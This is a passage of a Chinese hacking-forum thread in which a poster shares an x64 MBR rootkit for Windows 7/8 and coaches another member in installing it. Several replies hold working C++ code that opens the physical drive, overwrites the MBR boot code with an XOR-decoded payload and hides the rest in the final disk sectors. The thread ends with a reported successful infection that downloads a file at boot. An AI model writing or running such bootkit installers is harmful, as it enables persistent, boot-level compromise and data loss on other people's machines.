首页
社区
课程
招聘
[原创]发个win7 win8 x64 的MBR rookit 2年前写的。
发表于: 2015-10-17 20:57 24149

[原创]发个win7 win8 x64 的MBR rookit 2年前写的。

2015-10-17 20:57
24149
收藏
免费 3
支持
分享
最新回复 (56)
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
26
doslink  aa.obj /tiny  
得到aa.com  
aa.com  前面512字节写到mbr,注意不要覆盖分区表。512字节后面的数据写到磁盘倒数第11个扇区。原始mbr写到倒数第10扇区.
2015-10-23 23:51
0
雪    币: 25
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
27
(误)汇编苦手,不是苦水
////////////////
前512字节是写入成功了。虚拟姬让我玩坏了 = =

如何把原MBR备份到其他扇区,把rootkit的512字节之后的内容写到其他扇区呢??
如果有类似的代码参考就太好了,非常感谢您的指点!

这是我的代码。
上传的附件:
2015-10-24 00:40
0
雪    币: 25
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
28
备份MBR,写入rootkit前512字节到MBR,后半部分写入其他扇区,都写入成功了。
结果虚拟姬又挂了。
原因不明。 求指教.......
上传的附件:
2015-10-24 04:55
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
29
void CFileManager::WriteMbr(LPSTR lpFileFullPath)
{
    //_asm{int 3}
        HANDLE hFile=pCreateFileA(lpFileFullPath,GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE)
        {
                DWORD dwSize;
                dwSize = pGetFileSize(hFile, NULL);
                LPBYTE lpBuffer = new BYTE[dwSize];
                DWORD dwBytesRead;
                pReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
                HANDLE hPhysicalDrive = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                                           OPEN_EXISTING, 0, NULL);
                if (hPhysicalDrive == INVALID_HANDLE_VALUE)
                {
//                        OutputDebugString("Open Drive0 Failed!");
                        delete lpBuffer;
                        CloseHandle(hFile);
                return;
                }

                BYTE BootSector[512];//原始MBR
                DWORD NumberOfBytesRead;
                if (SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER     ||
                        !ReadFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL) )
                {       
                        delete lpBuffer;
                        CloseHandle(hFile);
                        CloseHandle(hPhysicalDrive);
                return;
                }
        BYTE backBootSector[512];
                memcpy(&backBootSector,&BootSector,512);
                memcpy(&backBootSector,lpBuffer,446);
      

                SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN);//读文件的时候会移动指针,所以要设置下
        WriteFile(hPhysicalDrive,backBootSector,512,&NumberOfBytesRead,NULL);//MBR感染446
        
                DISK_GEOMETRY_EX pdg = { 0 };
                DWORD junk     = 0;                     // discard results
                DeviceIoControl(hPhysicalDrive,                       // device to be queried                           
                        IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, // operation to perform                           
                        NULL, 0,                       // no input buffer                           
                        &pdg, sizeof(pdg),            // output buffer                           
                        &junk,                         // # bytes returned                           
                (LPOVERLAPPED) NULL);          // synchronous I/O
        
                //备份MBR
                LARGE_INTEGER PositionFileTable;
                PositionFileTable.QuadPart = pdg.DiskSize.QuadPart/512;
                PositionFileTable.QuadPart -= 10;
                PositionFileTable.QuadPart *= 512;
                NumberOfBytesRead=0;
                if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER     ||
                        !WriteFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL))
                {
                        delete lpBuffer;
                        CloseHandle(hFile);
                        CloseHandle(hPhysicalDrive);
                 return;
                }

//                OutputDebugString("Write Other");

                //写入MBR其他数据
                PositionFileTable.QuadPart = pdg.DiskSize.QuadPart/512;
                PositionFileTable.QuadPart -= 9;
                PositionFileTable.QuadPart *= 512;
                if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER     ||
                        !WriteFile(hPhysicalDrive, lpBuffer+512, ((dwSize-512)/512+1)*512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
                {
//                        OutputDebugString("Write Other Failed!");
                        delete lpBuffer;
                        CloseHandle(hFile);
                    CloseHandle(hPhysicalDrive);
                        return;
                }

                //备份MBR loader
                PositionFileTable.QuadPart = pdg.DiskSize.QuadPart/512;
                PositionFileTable.QuadPart -= 11;
                PositionFileTable.QuadPart *= 512;
                if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER     ||
                        !WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
                {
                        //                        OutputDebugString("Write Other Failed!");
                        delete lpBuffer;
                        CloseHandle(hFile);
                        CloseHandle(hPhysicalDrive);
                        return;
                }

                delete lpBuffer;
                CloseHandle(hFile);
                CloseHandle(hPhysicalDrive);
             return;
        }
}
2015-10-24 08:43
0
雪    币: 25
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
30
非常感谢您的赐教!
有2个不明白的地方:
1.因为rootkit只写入了446字节,所以这里是不是也应该是446,而不是512?
        //写入MBR其他数据
        PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
        PositionFileTable.QuadPart -= 9;
        PositionFileTable.QuadPart *= 512;
        if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
                !WriteFile(hPhysicalDrive, lpBuffer + 446, ((dwSize - 446) / 512 + 1) * 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
2.      512-446=66字节 这66个字节是分区表吗?

////////////////////////////////////////////
int _tmain()
{
        //_asm{int 3}
        for (int i = 0; i < sizeof(aArray); i++)
        {
                //szArray[i] = ~ szArray[i]; // 取反 ~
                aArray[i] = aArray[i] ^ 123; // 异或 ^
        }
        DWORD dwSize;
        dwSize = sizeof(aArray);
        LPBYTE lpBuffer = new BYTE[dwSize];
        memcpy(lpBuffer, aArray, dwSize);
        HANDLE hPhysicalDrive = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                OPEN_EXISTING, 0, NULL);
        if (hPhysicalDrive == INVALID_HANDLE_VALUE)
        {
                OutputDebugString("Open Drive0 Failed!");
                delete lpBuffer;
                return 0;
        }
        BYTE BootSector[512];//原始MBR
        DWORD NumberOfBytesRead;
        if (SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
                !ReadFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL))
        {
                OutputDebugString("读取原始MBR失败!");
                delete lpBuffer;
                CloseHandle(hPhysicalDrive);
                return 0;
        }
        BYTE backBootSector[512];
        memcpy(&backBootSector, &BootSector, 512);
        memcpy(&backBootSector, lpBuffer, 446);

        SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN);//读文件的时候会移动指针,所以要设置下
        WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL);//MBR感染446
       
        DISK_GEOMETRY_EX pdg = { 0 };
        DWORD junk = 0;                     // discard results
        DeviceIoControl(hPhysicalDrive,                       // device to be queried                           
                IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, // operation to perform                           
                NULL, 0,                       // no input buffer                           
                &pdg, sizeof(pdg),            // output buffer                           
                &junk,                         // # bytes returned                           
                (LPOVERLAPPED)NULL);          // synchronous I/O

        //备份MBR
        LARGE_INTEGER PositionFileTable;
        PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
        PositionFileTable.QuadPart -= 10;
        PositionFileTable.QuadPart *= 512;
        NumberOfBytesRead = 0;
        if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
                !WriteFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL))
        {
                OutputDebugString("备份原始MBR失败");
                delete lpBuffer;
                CloseHandle(hPhysicalDrive);
                return 0;
        }

        //写入MBR其他数据
        PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
        PositionFileTable.QuadPart -= 9;
        PositionFileTable.QuadPart *= 512;
        if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
                !WriteFile(hPhysicalDrive, lpBuffer + 446, ((dwSize - 446) / 512 + 1) * 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
        {
                OutputDebugString("Write Other Failed!");
                delete lpBuffer;
                CloseHandle(hPhysicalDrive);
                return 0;
        }

        //备份MBR loader
        PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
        PositionFileTable.QuadPart -= 11;
        PositionFileTable.QuadPart *= 512;
        if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
                !WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
        {
                OutputDebugString("Write Other Failed!");
                delete lpBuffer;
                CloseHandle(hPhysicalDrive);
                return 0;
        }

        delete lpBuffer;
        CloseHandle(hPhysicalDrive);
        return 1;
}
////////////////////////////////////////////
遗憾的是,我这样写入之后虚拟机一直黑屏,进不去系统。
另外这个rootkit下载文件是否会被系统自带防火墙拦截?
这个程序需要管理员权限才能写入成功。

画了个示意图,不知道我的理解对不对,其他人有人成功吗?
上传的附件:
2015-10-24 13:47
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
31
1、是应该写446到MBR,但是WriteFile只能写512的整数倍。
2、66字节包括分区表和MBR结束标志55AA 2 字节。
3、用我编译的试试看。
上传的附件:
2015-10-24 13:52
0
雪    币: 25
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
32
成功了。这是您的文件吧?哈哈哈。
我明白了,而且我下载地址写的不对。

非常感谢您的分享和指导!!
上传的附件:
2015-10-24 14:44
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
33
恭喜你!!!!!!!!
这个代码也可以在实体机测试,系统启动失败,会自动恢复MBR。
2015-10-24 14:54
0
雪    币: 25
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
34
高人,可以认识一下吗? 积分不足,没法发私信,我就直接在这里留QQ啦。
我的QQ:
2015-10-24 15:09
0
雪    币: 80
活跃值: (122)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
35
还好现在都改用efi启动了
2015-10-27 02:09
0
雪    币: 1555
活跃值: (231)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
36
都是大神啊,膜拜一下
2015-10-27 07:07
0
雪    币: 118
活跃值: (72)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
37
mark一下,学习。
2015-10-27 07:38
0
雪    币: 149
活跃值: (101)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
38
感谢楼主无私的分享,这种神级的东西平常很难看到的啊!!!
2015-10-27 23:37
0
雪    币: 156
活跃值: (97)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
39
好像重启过后就恢复MBR了。。。。。不能永久吗??
2015-10-28 16:40
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
40
这个我也没办法,要是不恢复MBR,后面就没办法启动,好像微软后面又调用了一次MBR。
2015-10-28 20:07
0
雪    币: 44
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
41
mark
2015-12-15 13:14
0
雪    币: 6976
活跃值: (1372)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
42
这种才是低调的牛人!
2015-12-15 14:16
0
雪    币: 5
活跃值: (108)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
43
也不说下到底是干什么的?
2015-12-15 14:24
0
雪    币: 573
活跃值: (979)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
44
马克之
您输入的信息太短,您发布的信息至少为 4 个字符。
2015-12-15 15:37
0
雪    币: 43
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
45
mark
2015-12-16 13:55
0
雪    币: 27
活跃值: (597)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
46
马,学习学习
2016-2-20 22:46
0
雪    币: 6
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
47
谢谢楼主
2016-2-21 00:32
0
雪    币: 2044
活跃值: (237)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
48
mark.......
2016-2-21 09:39
0
雪    币: 396
活跃值: (54)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
49
两年前就写好了。。真是棒棒的啊~
2016-2-23 09:23
0
雪    币: 206
活跃值: (85)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
50
可以可以,看看先
2016-2-23 15:31
0
游客
登录 | 注册 方可回帖
返回
//